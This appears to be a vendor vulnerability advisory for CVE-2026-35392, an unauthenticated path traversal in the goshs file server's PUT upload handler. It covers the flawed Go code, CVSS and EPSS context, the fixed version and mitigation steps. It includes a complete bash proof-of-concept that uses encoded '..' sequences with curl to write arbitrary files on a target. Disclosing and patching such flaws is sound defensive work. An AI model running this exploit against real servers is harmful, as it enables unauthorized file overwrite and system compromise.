CVE-2026-35392 — goshs
CRITICALCVE-2026-35392 is a critical-severity (CVSS 9.8) Path Traversal vulnerability in github.com/patrickhener/goshs. A fix is available for github.com/patrickhener/goshs — see the affected versions and patch details below.
goshs has an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs PUT Upload
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35392.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-35392 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/patrickhener/goshsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
- PUT upload has no path sanitization |
httpserver/updown.go:20-69
This finding affects the default configuration, no flags or authentication required.
Details
File: httpserver/updown.go:20-69
Trigger: PUT /<path> (server.go:57-59 routes directly to put())
The handler uses req.URL.Path raw to build the save path. No filepath.Clean, no .. check, no webroot containment.
func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
upath := req.URL.Path // unsanitized
filename := strings.Split(upath, "/")
outName := filename[len(filename)-1]
targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1]
target := strings.Join(targetpath, "/")
savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
// ...
os.Create(savepath) // arbitrary path write
UploadFolder defaults to Webroot (main.go:386-388). The path is pure string concatenation with no validation.
Impact: Unauthenticated arbitrary file write anywhere on the filesystem.
PoCs:
#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
if [ ! -f "$LOCAL_FILE" ]; then
echo "[-] Local file not found: $LOCAL_FILE"
exit 1
fi
# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%2e%2e/"
done
# Strip leading / from target
TARGET_REL="${TARGET#/}"
PUT_PATH="/${TRAVERSAL}${TARGET_REL}"
echo "[*] Source: ${LOCAL_FILE}"
echo "[*] Target: ${TARGET}"
echo "[*] PUT: ${PUT_PATH}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
--path-as-is \
-X PUT --data-binary "@${LOCAL_FILE}" \
"http://${HOST}:${PORT}${PUT_PATH}")
echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/patrickhener/goshs | all versions | 1.1.5-0.20260401172448-237f3af891a9go get github.com/patrickhener/goshs@v1.1.5-0.20260401172448-237f3af891a9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/patrickhener/goshs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/patrickhener/goshs to 1.1.5-0.20260401172448-237f3af891a9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35392 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-35392 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-35392. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-35392 in your dependencies?
O3 Security finds CVE-2026-35392 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.